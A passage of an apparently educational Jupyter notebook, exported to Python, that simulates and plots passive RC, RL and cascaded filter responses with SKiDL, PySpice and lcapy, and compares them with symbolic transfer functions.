ax.set_title(f'Nyquist Plot{title}');\n    \n    @staticmethod\n    def add_arrow(line, positions=None, num_positions=4, direction='right', size=15, color=None):\n        \"\"\"\n        add an arrow to a line axis in the direction of the parametric data.\n\n        line:       Line2D object\n        positions:   list or array of index positions to draw an arrow(s) at; if None will draw at least one arrow\n        num_positions: int; then number arrows to draw along the length of the line; if 1 will draw at the mean\n        direction:  'left' or 'right'\n        size: the size of the arrow in font-size points\n        color:      if None, line color is taken.\n\n        from: https://stackoverflow.com/questions/34017866/arrow-on-a-line-plot-with-matplotlib\n        and also use:https://stackoverflow.com/questions/52042183/matplotlib-get-color-for-subplot\n\n        \n        \"\"\"\n        #if color is None:\n        #    color = line.get_color()\n\n        xdata = line.get_xdata()\n        ydata = line.get_ydata()\n        \n        \n        if (positions is None) and (num_positions==1):\n            positions=[]\n            positions[0] = xdata.mean()\n        elif (positions is None) and (num_positions!=1):\n            line_len=len(xdata)\n            if num_positions>=line_len:\n                num_positions==line_len\n            positions=[xdata[int(np.ceil(i*line_len/num_positions))] for i in range(num_positions)]\n        else:\n            assert all(isinstance(i, int) for i in positions), 'positions must be int index positions'\n        \n        for pos in positions:\n            # find the closest index\n            start_ind = np.argmin(np.absolute(xdata - pos))\n            if direction == 'right':\n                end_ind = start_ind + 1\n            else:\n                end_ind = start_ind - 1\n\n            line.axes.annotate('',\n                xytext=(xdata[start_ind], ydata[start_ind]),\n                xy=(xdata[end_ind], ydata[end_ind]),\n                arrowprops=dict(arrowstyle=\"->\", color=color),\n                size=size\n            )\n\n\n# Here we invoke the class and start by creating the single graph Bode plot with twinx axis so that magnitude and phase are overlapping on one plot\n\n# In[16]:\n\n\nac_p=eecomplex_plot_templets()\n\nac_p.bode_plot_one_templet(ac_rep_tool.ac_sim_mag_DF.index, ac_rep_tool.ac_sim_mag_DF['Out_[V][dB]'], ac_rep_tool.ac_sim_phase_DF['Out_[V][deg]'], \n                          title='Out_[V]')\n\n\n# And here we use the seconed Bode plot method to make the graph with the joined subplots but each subplot has the magnitude and phase respectivly\n\n# In[17]:\n\n\nac_p.bode_plot_two_templet(ac_rep_tool.ac_sim_mag_DF.index, ac_rep_tool.ac_sim_mag_DF['Out_[V][dB]'], ac_rep_tool.ac_sim_phase_DF['Out_[V][deg]'], \n                          title='Out_[V]')\n\n\n# Here is the Nichols plot pf out data with parmteriztion arrows showing the direction of increasing frequancy. Note that since that data was aquared logrimgly and the space inside `eecomplex_plot_templets.add_arrow` uses linear supdivsion the spacing on the arrows is going to follow logrithmicly as well\n\n# In[18]:\n\n\nac_p.nichols_plot_templet(ac_rep_tool.ac_sim_mag_DF['Out_[V][dB]'], ac_rep_tool.ac_sim_phase_DF['Out_[V][deg]'], \n                          title='Out_[V]')\n\n\n# And finally, we create the Nyquist plot again with the same parametricness shown by the arrows and with the same linear to log issue in their spacing.\n\n# In[19]:\n\n\nac_p.nyquist_plot_templet(ac_rep_tool.ac_sim_real_DF['Out_[V]'], ac_rep_tool.ac_sim_imag_DF['Out_[V]'], \n                          title='Out_[V]')\n\n\n# ### A quick filter exploration tool for the rest of this notebook\u00b6\n# \n# Here we create an easy use tool using mutable inheritance of our three ac tools wherein the  `__init__` method it performs the AC simulation, makes the representation transformations, and plot. And in the second method, we get grab the symbolic transfer function for the filter and pass it the same frequencies as the SPICE simulation and plot it on top of the SPICE simulation to examine any mild to gross divergence from the SPICE simulation and the symbolic.\n# \n\n# In[20]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 qfilter_explorer class\n#class to perform the anylsis of the filtes in Ch2 sec 2\n\nclass qfilter_explorer(ac_ease, ac_representation_tool, eecomplex_plot_templets):\n    \n    def __init__(self, circ, title, start_freq=.1@u_Hz, stop_freq=1@u_GHz):\n        \n        #do what ac_ease is supposed to do at startup\n        #instainte the simulation from the circuit\n        ac_ease.__init__(self, circ)\n        #setup the simulation parameter with the helper method\n        self.ac_sweep_setup(start_freq, stop_freq, 20, 'decade', True)\n        #do the simulation\n        self.do_ac_sim()\n        \n        \n        #do what ac_representation_tool is supposed to do at startup\n        #and pass in the selfs from `ac_ease`'s ac_resultsNB_DF\n        ac_representation_tool.__init__(self, self.ac_resultsNB_DF)\n        #generate the representations\n        self.make_real_imag()\n        self.make_mag_phase()\n        \n        \n        eecomplex_plot_templets.__init__(self)\n\n\n        fig=plt.figure(constrained_layout=True, figsize=(8,8))\n        spec=fig.add_gridspec(2,2)\n\n        ax_bode=fig.add_subplot(spec[0, :])\n        self.bode_plot_one_templet(self.ac_sim_mag_DF.index, self.ac_sim_mag_DF['Out_[V][dB]'], self.ac_sim_phase_DF['Out_[V][deg]'], \n                          title='Out_[V]', ax=ax_bode)\n\n        ax_nichols=fig.add_subplot(spec[1, 0])\n        self.nichols_plot_templet(self.ac_sim_mag_DF['Out_[V][dB]'], self.ac_sim_phase_DF['Out_[V][deg]'], \n                          title='Out_[V]', ax=ax_nichols)\n\n        ax_nyquist=fig.add_subplot(spec[1, 1])\n        self.nyquist_plot_templet(self.ac_sim_real_DF['Out_[V]'], self.ac_sim_imag_DF['Out_[V]'], \n                          title='Out_[V]', ax=ax_nyquist)\n        \n        fig.suptitle(title)\n    \n    def symbolic_tf(self, filter_obj):\n        self.symbolic_data=pd.DataFrame(index=self.ac_resultsNB_DF.index)\n        \n        f=self.symbolic_data.index.values\n        \n        #get the tf and get the data\n        tf=filter_obj.get_tf()\n        symbolic_data=tf.frequency_response(self.symbolic_data.index.values).astype('complex')\n        \n        self.symbolic_data['Out_sym_[V][dB]']=20*np.log10(np.abs(symbolic_data))\n        self.symbolic_data['Out_sym_[V][deg]']=np.angle(symbolic_data, deg=True)\n\n        fig, [ax_mag, ax_ph]=plt.subplots(nrows=2, ncols=1)\n        \n        self.bode_plot_two_templet(self.ac_sim_mag_DF.index, self.ac_sim_mag_DF['Out_[V][dB]'], self.ac_sim_phase_DF['Out_[V][deg]'], \n                          title='Simulated vs Symbolic Out_[V]', axs=[ax_mag, ax_ph])\n        \n        #add the symbolic data\n        ax_mag.semilogx(f, self.symbolic_data['Out_sym_[V][dB]'], linestyle='-.' , alpha=0.5, label='symbolic')\n        ax_mag.legend()\n        \n        ax_ph.semilogx(f, self.symbolic_data['Out_sym_[V][deg]'], color='orange' , alpha=0.75, label='symbolic')\n        ax_ph.legend()    \n\n\n# In[21]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RC Low Pass Filter Responce');\n\n\n# In[22]:\n\n\nfilter_responce.symbolic_tf(lowpassF)\n\n\n# ##Equivalent Low Pass RL filter\n# \n# Besides RC filters, there are of course RL dual filters. Where the equivalent RL filter values to any RC filter may be found via the equivalent time constant of the RC and RL implementation such that time constants must match ie: $$RC=\\tau_{RC}=\\tau_{RL}=L/R$$\n\n# In[23]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rl_lowpass filter class\n#class with lcapy and skidl subcircuit to create an RL lowpass filter\n\nclass rl_lowpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    lowpass RL filter primitive\n    \"\"\"\n    def __init__(self, subcirc_ref=None, L_value=1@u_H, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_H; Henery): the inductance in henrys for the RL inductive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RL resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RL_Lowpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RL lowpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        \n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.l['p', 'n']+=term_0, term_2\n        self.r[1, 2]+=self.l['n'], term_1\n        \n        if return_elements:\n            return self.l, self.r\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 1 1_1; right=2')\n        self.schematic.add('W 0 0_1; right')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add(f'L 0_1 2_1; right, l=L{str(self.L_value)}')\n        self.schematic.add(f'R 2_1 1_1; down, l=R{str(self.R_value)}')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value})\n        \n        if draw_me:\n            self.schematic.draw()\n\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n        \n\n\n# In[24]:\n\n\n#instatate the rl_lowpass filter to \nrl_l=rl_lowpass(L_value=(1e3)**2 *.1e-9 @u_H, R_value=1e3)\nrl_l.lcapy_self()\n\n\n# In[25]:\n\n\n#get this filters abstract transfer function\nrl_l.get_tf(with_values=False)\n\n\n# In[26]:\n\n\n#get this filters transfer function\nrl_l.get_tf(with_values=True)\n\n\n# In[27]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nrl_l.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[28]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RL Low Pass Filter Responce');\n\n\n# In[29]:\n\n\nfilter_responce.symbolic_tf(rl_l)\n\n\n# ## The high pass filter from ALL ABOUT ELECTRONICS \"RC High Pass Filter Explained\" @~ 7:57min\n# \n# As we saw with the RC and RL \"Lowpass\" filters they are named by the typical convention of how there implemented followed by some characteristic description of their magnitude response. Thus, lowpass filters minimally attenuate any single whose frequency content is less than the frequency of their 3dB knee. Whereas Highpass filters are the complement to that where they will highly attenuate any single whose frequency content is less than there 3dB knee as shown below using the example from ALL ABOUT ELELECTROINC YT video on \u201cRC High Pass Filters\u201d\n\n# In[30]:\n\n\nYouTubeVideo('9Dx0b0ukNAM', width=500, height=400, start=477)\n\n\n# In[31]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rc_highpass filter class\n#class with lcapy and skidl subcircuit to create an RC highpass filter\n\nclass rc_highpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    highpass RC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RC_highpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RC highpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Cref={}\n            Rref={}\n            \n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.c['p', 'n']+=term_0, term_2\n        self.r[1, 2]+=self.c['n'], term_1\n        \n        if return_elements:\n            return self.c, self.r\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 1 1_1; right=2')\n        self.schematic.add('W 0 0_1; right')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add('C 0_1 2_1; right')\n        self.schematic.add('R 2_1 1_1; down')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n\n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n            \n        \n\n\n# In[32]:\n\n\nhighpassF=rc_highpass(C_value=1.5@u_nF, R_value=10@u_kOhm)\nhighpassF.lcapy_self()\n\n\n# In[33]:\n\n\n#get this filters abstract transfer function\nhighpassF.get_tf(with_values=False)\n\n\n# In[34]:\n\n\n#get this filters transfer function\nhighpassF.get_tf(with_values=True)\n\n\n# In[35]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nhighpassF.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[36]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RC High Pass Filter Responce');\n\n\n# In[37]:\n\n\nfilter_responce.symbolic_tf(highpassF)\n\n\n# ## RL Highpass\n\n# In[38]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rl_highpass filter class\n#class with lcapy and skidl subcircuit to create an RL highpass filter\n\nclass rl_highpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    highpass RL filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RL inductive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RL resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RL_highpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RL highpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.r[1, 2]+=term_0, self.l['p']\n        self.l['p', 'n']+=term_2, term_3\n        \n        \n        \n        \n        if return_elements:\n            return self.l, self.r\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 1 1_1; right=2')\n        self.schematic.add('W 0 0_1; right')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add(f'R 0_1 2_1; right')\n        self.schematic.add(f'L 2_1 1_1; down')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n        \n            \n\n\n# In[39]:\n\n\nrl_h=rl_highpass(L_value=(10e3)**2 *1.5e-9 @u_H, R_value=10@u_kOhm)\nrl_h.lcapy_self()\n\n\n# In[40]:\n\n\n#get this filters abstract transfer function\nrl_h.get_tf(with_values=False)\n\n\n# In[41]:\n\n\n#get this filters transfer function\nrl_h.get_tf(with_values=True)\n\n\n# In[42]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nrl_h.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[43]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RL High Pass Filter Responce');\n\n\n# In[44]:\n\n\nfilter_responce.symbolic_tf(rl_h)\n\n\n# # First Order Cascade filter\n\n# Though as we will see there are more complex single filter designs that can implement a needed filter profile the other way to implement the needed filter profile is by cascading primitive filter sections as shown by ALL ABOUT ELELECTOINCS where here we will just implement the passive version of the cascaded bandpass filter shown below.\n\n# ## The band pass filter from ALL ABOUT ELECTRONICS \"Band Pass Filter and Band Stop Filter Explained\" @~ 4:03min\n\n# In[45]:\n\n\nYouTubeVideo('dmPIydL0lyM', width=500, height=400, start=243)\n\n\n# In[46]:\n\n\nreset()\nnet_in=Net('In'); net_inter=Net('Inter'); net_out=Net('Out')\n\nvs=SINEV(amplitude=10@u_V, frequency=10@u_kHz)\nvs['p', 'n']+=net_in, gnd\n\nhighpassFsection=rc_highpass(C_value=1.5@u_nF, R_value=10@u_kOhm)\nhighpassFsection.SKiDl(net_in, gnd, net_inter, gnd)\n\nlowpassFsection=rc_lowpass(C_value=1.5@u_nF, R_value=1@u_kOhm)\nlowpassFsection.SKiDl(net_inter, gnd, net_out, gnd)\n\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[47]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RC Band pass Filter Responce');\n\n\n# Becouse this is a cascaded filter to get the symbolic filter we need to casade them where for a recap of how to cascade filters in all the varies toplogies see https://x-engineer.org/graduate-engineering/signals-systems/control-systems/transfer-function-algebra/\n\n# In[48]:\n\n\ncascade_tf=highpassFsection.get_tf() * lowpassFsection.get_tf() \nsym.sympify(cascade_tf)\n\n\n# And so for the sake of simplicity we will just reimpliment `qfilter_explorer.symbolic_tf` manulay here to compare the casdacded symbolic trnasfer fuction to the SPICE simulated results\n\n# In[49]:\n\n\nsymbolic_data=pd.DataFrame(index=filter_responce.ac_resultsNB_DF.index)\nf=symbolic_data.index.values\n\n##bring the f through the sausage filter\nsymbolic_data_raw=cascade_tf.frequency_response(f).astype('complex')\n\nsymbolic_data['Out_sym_[V][dB]']=20*np.log10(np.abs(symbolic_data_raw))\nsymbolic_data['Out_sym_[V][deg]']=np.angle(symbolic_data_raw, deg=True)\n\nfig, [ax_mag, ax_ph]=plt.subplots(nrows=2, ncols=1)\n\nacplot=eecomplex_plot_templets()\nacplot.bode_plot_two_templet(filter_responce.ac_sim_mag_DF.index, filter_responce.ac_sim_mag_DF['Out_[V][dB]'], filter_responce.ac_sim_phase_DF['Out_[V][deg]'], \n                  title='Simulated vs Symbolic Out_[V]', axs=[ax_mag, ax_ph])\n\n#add the symbolic data\nax_mag.semilogx(f, symbolic_data['Out_sym_[V][dB]'], linestyle='-.' , alpha=0.5, label='symbolic')\nax_mag.legend()\n\nax_ph.semilogx(f, symbolic_data['Out_sym_[V][deg]'], color='orange' , alpha=0.75, label='symbolic')\nax_ph.legend();\n\n\n# # Second-Order Filters and resonators\n# Second-order filters are mostly designed around the following equations in their circuit implementation \n# \n# - Bandwidth ($B$):$B=\\omega_2-\\omega_1$\n# - Center Frequncy ($\\omega_0$): $\\omega_0=\\dfrac{1}{\\sqrt{LC}}=\\sqrt{\\omega_1 \\omega_2}$\n# - The Q Factor in general: $Q=\\dfrac{\\omega_0}{B}$\n#     - Q for a series RLC is: $Q=\\dfrac{1}{\\omega_0 RC}$\n#     - Q for a parrel RLC is: $Q=\\omega_0 RC$\n#  \n#  \tAnd are called second-order since with having both a Capacitor and Inductor the differential equations in the time domain become second order. Below we will implement the four main second-order filter types: Lowpass, Highpass, Bandpass, Bandstop, in both their series and parral configurations. Where the templet around the values for the RLC elements used for these filters is the bandwidth frequencies of the ALL ABOUT CIRCUITS example of a passive cascaded filter above using a 50Ohm resistor, because.\n\n# ## Series Based\u00b6\n\n# In[50]:\n\n\nV_out, V_in, angfreq_1, angfreq_2, angfreq_0, R_sym, C_sym, L_sym, Q_sym, f_sym, f0_sym, B_sym=sym.symbols('V_{out}, V_{in}, omega_1, omega_2, omega_0, R, C, L, Q, f, f_0, B' )\nV_out, V_in, angfreq_1, angfreq_2, angfreq_0, R_sym, C_sym, L_sym, Q_sym, f_sym, f0_sym, B_sym\n\n\n# In[51]:\n\n\nf1=10.61e3; f2=106.1e3\nsubs={R_sym:50}\nsubs[angfreq_1]=2*np.pi*f1; subs[angfreq_2]=2*np.pi*f2\nsubs[angfreq_0]=np.sqrt(subs[angfreq_1]*subs[angfreq_2])\nsubs[B_sym]=subs[angfreq_2]-subs[angfreq_1]\nsubs[Q_sym]=subs[angfreq_0]/subs[B_sym]\nsubs\n\n\n# In[52]:\n\n\nQs_eq=sym.Eq(Q_sym, 